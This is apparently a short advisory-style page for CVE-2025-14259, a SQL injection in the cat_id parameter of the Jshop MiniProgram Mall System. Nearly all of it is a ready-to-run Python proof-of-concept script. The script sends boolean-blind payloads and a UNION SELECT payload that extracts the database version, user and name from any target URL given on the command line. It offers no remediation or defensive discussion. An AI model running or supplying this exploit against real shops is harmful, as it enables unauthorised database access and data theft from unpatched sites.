CVE-2025-14259: Jshop MiniProgram Mall System cat_id参数SQL注入漏洞

import requests import sys def exploit_sql_injection(target_url, cat_id_payload): """ PoC for CVE-2025-14259: Jshop MiniProgram Mall System SQL Injection Target: /index.php/api.html endpoint with cat_id parameter """ try: # Construct the vulnerable URL params = {'cat_id': cat_id_payload} # Send the malicious request response = requests.get(target_url, params=params, timeout=10) print(f"[*] Target: {target_url}") print(f"[*] Payload: {cat_id_payload}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None def test_boolean_blind_injection(target_url): """Test for boolean-based blind SQL injection""" # True condition payload true_payload = "1 AND 1=1" # False condition payload false_payload = "1 AND 1=2" print("\n[*] Testing boolean-based blind injection...") resp_true = exploit_sql_injection(target_url, true_payload) resp_false = exploit_sql_injection(target_url, false_payload) if resp_true and resp_false: if len(resp_true.text) != len(resp_false.text): print("[+] Boolean blind injection confirmed!") def test_union_injection(target_url): """Test for UNION-based SQL injection to extract data""" union_payload = "1 UNION SELECT NULL,NULL,NULL,NULL,version(),user(),database(),NULL-- -" print(f"\n[*] Testing UNION-based injection...") exploit_sql_injection(target_url, union_payload) if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-14259.py <target_url>") print("Example: python cve-2025-14259.py http://target.com/index.php/api.html") sys.exit(1) target = sys.argv[1] # Basic test exploit_sql_injection(target, "1") # Test blind injection test_boolean_blind_injection(target) # Test union injection test_union_injection(target)